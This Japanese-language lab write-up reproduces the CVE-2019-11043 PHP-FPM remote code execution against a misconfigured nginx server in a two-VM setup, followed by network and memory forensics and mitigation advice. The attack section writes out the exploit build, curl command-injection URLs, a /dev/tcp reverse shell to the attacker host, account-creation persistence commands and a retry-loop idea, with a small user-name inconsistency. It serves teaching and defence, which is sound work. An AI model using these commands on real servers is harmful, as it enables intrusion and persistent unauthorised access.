
nginx の背後で動作する PHP-FPM に対する CVE-2019-11043 RCE を再現するハンズオンラボ。リバーストンネルによる永続化、メモリフォレンジックス、ネットワークトラフィック解析を実演します。
2019年10月、Debian Security Advisory の研究者 Emil Lerner と Andrew Danau は、PHP-FPM の重大な脆弱性について Debian コミュニティに警告する通知を公開しました。PHP-FPM のパス処理コードにおける検証不足のため、攻撃者は特定の NGINX + PHP-FPM 構成下で特別に細工したリクエストを操作し、リモートでの任意コード実行を達成できました。
このラボは以下の悪用を実演します:
NGINX の背後で動作する PHP-FPM に影響を与える脆弱性。トリガーされると、攻撃者が任意のコードを実行し、リバーストンネリングを通じて永続化を確立できるようになります。
このプロジェクトは、脆弱な環境を再現し、エクスプロイトチェーンを実行し、現実世界のシナリオで攻撃者がトンネリング技術を通じてどのように永続化を達成するかを評価します。
この攻撃チェーンは、影響度の高い複数の MITRE ATT&CK 技術に直接対応しています:
永続化のためのリバーストンネリングは、APT グループ、ボットネット、ランサムウェア運用者の間で使用される**高頻度の TTP(戦術、技術、手順)**です。PHP-FPM は本番環境で広く展開され続けており、CVE-2019-11043 によって悪用される誤設定は現在も実環境で観測されています。
これらは理論上の抽象概念ではありません。国家支援型アクターやランサムウェアグループが関与する活発な悪用キャンペーンで文書化された正確な挙動を反映しています。
CVE-2019-11043 は数年前のものですが、この脆弱性は以下の現代のセキュリティ上の現実により、関連性を持ち続けています:
レガシー PHP アプリケーションは今も至る所に存在します。 多くの組織は、長期的な Web アプリケーション依存関係、技術的負債、または本番システムを壊すことへの恐れから、時代遅れの PHP 5.x/7.x スタックを実行し続けています。これらの環境はしばしばパッチが適用されず、脆弱なままです。
NGINX + PHP-FPM は、世界的に最も一般的なホスティングアーキテクチャの 1 つです。 これにより、PHP-FPM の脆弱性は、大規模で長持ちする攻撃対象領域を探す攻撃者にとって非常に魅力的なものとなっています。
リバーストンネリングは、現代の脅威における中核的な永続化技術です。 Lazarus、APT29、FIN11 などのグループや多数のランサムウェア運用者は、露出したインバウンドポートに依存せずに長期的なアクセスを維持するために、リバース SSH トンネル、WebSocket トンネル、さらには PHP ベースのリバースシェルを使用しています。
誤設定は依然として侵害原因の第 1 位です。 パッチが存在する場合でも、誤設定された NGINX の「location」ブロックと検証が不十分な PATH_INFO 変数は、環境を悪用にさらし続けます。
エクスプロイト自動化キットは今もこの CVE を標的にしています。 自動スキャナ、ボットネット、IoT マルウェアなどのツールは、このエクスプロイトが確実なコード実行をもたらすため、脆弱な PHP-FPM 設定を定期的に調査しています。
クラウド環境が攻撃対象領域を拡大しています。 セキュリティ保護が不十分なコンテナ、共有ホスティング設定、時代遅れの Docker ベースイメージには、パッチ未適用の PHP-FPM バージョンが含まれていることが多く、クラウドネットワーク内での急速なラテラルムーブメントにつながります。
攻撃者は「低いところにある果実」を好みます。 最小限のスキルで リモートコード実行 + トンネルベースの永続化 を可能にする脆弱性は、常に価値の高い標的であり続けます。
永続的アクセス、ステルスなトンネリング、サプライチェーンの弱点がサイバーセキュリティの見出しを支配する今日の脅威環境において、CVE-2019-11043 がどのように悪用されるかを理解し実演することは、現代の攻撃パターンと防御上のギャップに対する重要な洞察を提供します。
このラボの目的は、特定の構成を使用して nginx の背後にある PHP‑FPM に影響を与える重大なリモートコード実行脆弱性である CVE‑2019‑11043 の実際の悪用をシミュレートすることでした。目標は、脆弱性を分析し、管理された仮想環境でエクスプロイトを再現し、誤設定された Web インフラストラクチャに関連するリスクを実演することでした。
2 台の仮想マシンが使用されました。両方ともユーザー名は username、パスワードは password です。
| 役割 | マシン | IP アドレス | 目的 |
|---|---|---|---|
| ターゲット / 被害者 | Ubuntu Server | 192.168.56.102 | CVE-2019-11043 を実行している脆弱な PHP-FPM サーバー |
| 攻撃者 | Ubuntu Server | 192.168.56.103 | エクスプロイト、リバースシェル、永続化を実行 |
apt を更新します
sudo apt update && sudo apt -y upgrade
脆弱性エクスプロイト用のコンテナを作成します。
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d
apt を更新し、基本的な php と python および追加パッケージをインストールします
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
netcat-traditional net-tools build-essential \
php ruby ruby-full
pip3 install requests
sudo apt install golang-go
問題の CVE を悪用するツールをダウンロードし、エクスプロイトをビルドするためにターミナルを移動します。
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build
ここでセットアップは完了です。最初にできることの例として、
1 つのターミナル(ターミナル 1)で以下を実行します:
nc -lvnp 4444
これはリスニングチャネルを設定してリバースシェルを有効にするためのものです。理論上の実験では、後続のコマンドを有効にするため、常にリスニング状態にしておく必要があります。
別のターミナル(ターミナル 2)で以下を実行します:
cd phuip-fpizdam
./phuip-fpizdam http://192.168.56.102:8080/index.php
これにより、脆弱性のエクスプロイトに成功したことを確認する行が出力されるはずです。
最後に、追加の最終ターミナル(ターミナル 3)を開きます。
すぐに以下のコマンドを実行して、エクスプロイトの機能をテストし始めることができます:
curl "http://192.168.56.102:8080/index.php?a=id"
これにより、Web ベースのリモートコマンドが作成され、id の結果が出力されます。ただし、下のスクリーンショットが示すように、メモリオーバーフローのために、コマンドが機能する場合と機能しない場合があります。多くの場合、短いコマンドの方が機能する可能性が高くなります。
理論上、任意のコマンドをここで実行できます。コマンドは、下のコマンドが HERE と示す場所に配置する必要があります。ただし、完全なコマンドが実行される確率は変動する可能性があります。
curl "http://192.168.56.102:8080/index.php?a=HERE"
このコマンドはシェル内のコンテンツを読み取ります
http://192.168.56.102:8080/index.php?cmd=ls
実際の攻撃シナリオでは、脅威アクターによるこのコマンドは新しいアカウントを作成し、引用符内に password というパスワードを作成します。
useradd threat
echo "password" | passwd --stdin hacker
このコマンドはリバースシェルを作成します。ただし、これは概念実証であり、PHP-FPM がワーカープロセスを定期的に強制終了して再生成するため、作成は困難です。
破損したワーカーが終了すると、注入された php.ini の変更も一緒に失われます。
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"
ここから、攻撃者はおそらくスケジュールタスクを使用するでしょう。この例では、サーバーが Linux 上にあるため CRON を使用します。これは Windows のスタートアッププロセスに相当します。
このラボは、管理された環境で CVE‑2019‑11043 を正常に再現し、誤設定された nginx + PHP‑FPM セットアップがリモートからどのように悪用されるかを実演しました。脆弱な regex ベースの fastcgi_split_path_info 構成を使用して、攻撃者マシンは PHP‑FPM を不整合な状態に強制し、最終的に任意のコード実行を達成しました。さらに、多くのシステムからリモートサーバーのログファイルの抽出が実行され、この脆弱性に関連することが知られているログの分析が実行されました。
脆弱性がトリガーされると、攻撃者はターゲット上でリモートコマンド実行を獲得し、ローカルユーザーとしてシステムと対話できるようになります。侵害された Web サーバーはコマンドを受け入れ、実行し、出力を返しました。これは完全に機能するリモートシェルを確認するものです。これにより、この CVE は、脆弱な nginx のパス分割構成と影響を受けるバージョンの PHP‑FPM と組み合わせた場合に、依然として確実に悪用可能であることが確認されました。
環境は、文書化されたエクスプロイトの挙動と一貫した動作を示しました。whoami、id、ls、echo などのコマンドは正常に実行されましたが、より複雑または対話的なコマンドは、悪用された PHP‑FPM ワーカープロセスの不安定性を示しました。これはこの脆弱性の既知の影響の 1 つです。
前述のとおり、この脆弱性は不安定であり、影響を受けやすい場合とそうでない場合があるため、機能する時と機能しない時があります。ループするコマンドをスクリプト化することをお勧めします。
この脆弱性は、メモリおよびバッファオーバーフローの問題に直接関連する CVE を悪用するため、ホストマシンのメモリを確認し、Volatility で分析することが重要です。
このラボでは、この脆弱性に関連する主要なログ、メモリ、ネットワークキャプチャを分析しました。
ネットワークキャプチャには、ホストマシン上で実行が試みられたコマンドが表示されています。これらには、コマンド自体と、サーバーに送信される HTTP GET コマンドの URL の末尾に結合された複数の文字が含まれており、それがメモリオーバーフローを引き起こします。
さらに、この無害な例で Google Images から幸せな犬の画像をダウンロードするために実行されたコマンドと、PHuip github の作成者による「ユーモラスなテキスト」を含む実際のコマンドを平文で確認できます。
Volatility で分析され .json ファイルに収集されたメモリキャプチャは、同じ名前のプロセスが連続して複数回実行されていることを示しており、失敗と再実行を示しています。
これは、メモリオーバーフローエラーがこの脆弱性に関連する根本的な問題であるために発生します。ユーザーは、bash スクリプトのようにコマンドを繰り返すかもしれません:while true; do curl "command" sleep 0.01 のように、1 秒間に複数回コマンドを実行して、突破を試み、そのリモートコード実行を獲得しようとします。
全体として、このプロジェクトは以下の点を検証しました:
脆弱な nginx の regex は、PHP‑FPM をリモートコード実行にさらすのに十分です。
PHP‑FPM 8.1(この方法で構成された場合)は、CVE‑2019‑11043 の条件下で依然として悪用可能です。
リモートの攻撃者は、意味のあるコマンド実行を獲得でき、ファイル操作、データ窃取、および潜在的な権限昇格を可能にします。
リバースプロキシ / FastCGI セットアップの誤設定は、影響度の高い攻撃対象領域を表します。特に、公開アクセス可能なアップロードエンドポイントや phpinfo() ページと組み合わせた場合に顕著です。
この結果は、適切な FastCGI 構成がどれほど重要であるかを強調し、安全なデフォルト、定期的な構成監査、および本番環境における診断エンドポイントの露出を最小限に抑える必要性を浮き彫りにしています。
CVE-2019-11043 の悪用は、PHP-FPM と NGINX における単一の誤設定がサーバー乗っ取りと攻撃者による永続的アクセスにつながることを示しています。
Debian Security Advisory チームは、php7.0 をバージョン 7.0.33 以降にアップグレードすることで、この脆弱性が完全にパッチされると確認しました。
適切なパッチ適用、強化された NGINX 構成、およびトンネリング動作の監視は、現代の環境における同様の攻撃を防ぐ上で重要です。
| MITRE ID | 技術名 |
|---|
| T1071 | アプリケーション層トンネリング |
| T1572 | プロトコルトンネリング |
| T1090 | プロキシ / リバースプロキシ |
| T1505 | サーバーサイドコンポーネント (PHP-FPM) |
| T1574 | 実行フローの乗っ取り |